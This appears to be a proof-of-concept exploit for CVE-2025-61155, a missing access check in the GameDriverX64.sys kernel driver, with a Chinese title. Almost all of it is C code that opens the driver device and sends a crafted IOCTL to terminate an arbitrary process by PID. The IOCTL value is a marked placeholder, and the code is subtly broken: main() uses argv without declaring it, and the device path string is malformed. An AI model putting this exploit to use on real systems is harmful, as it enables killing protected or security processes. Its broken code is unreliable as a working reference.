CVE-2025-61155 GameDriverX64.sys内核驱动IOCTL访问控制漏洞

#include <windows.h> #include <stdio.h> #define IOCTL_TERMINATE_PROCESS 0x12345678 // Example IOCTL code int main() { HANDLE hDevice; DWORD bytesReturned; DWORD targetPID; // Target process PID to terminate targetPID = atoi(argv[1]); // Open handle to GameDriverX64 driver device hDevice = CreateFile( "\\\\\\.\\GameDriverX64", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open driver handle. Error: %d\n", GetLastError()); return 1; } printf("Successfully opened driver handle.\n"); printf("Attempting to terminate process with PID: %d\n", targetPID); // Send crafted IOCTL request to terminate arbitrary process // No privilege check is performed by the driver BOOL result = DeviceIoControl( hDevice, IOCTL_TERMINATE_PROCESS, &targetPID, sizeof(targetPID), NULL, 0, &bytesReturned, NULL ); if (result) { printf("IOCTL request sent successfully.\n"); } else { printf("IOCTL request failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }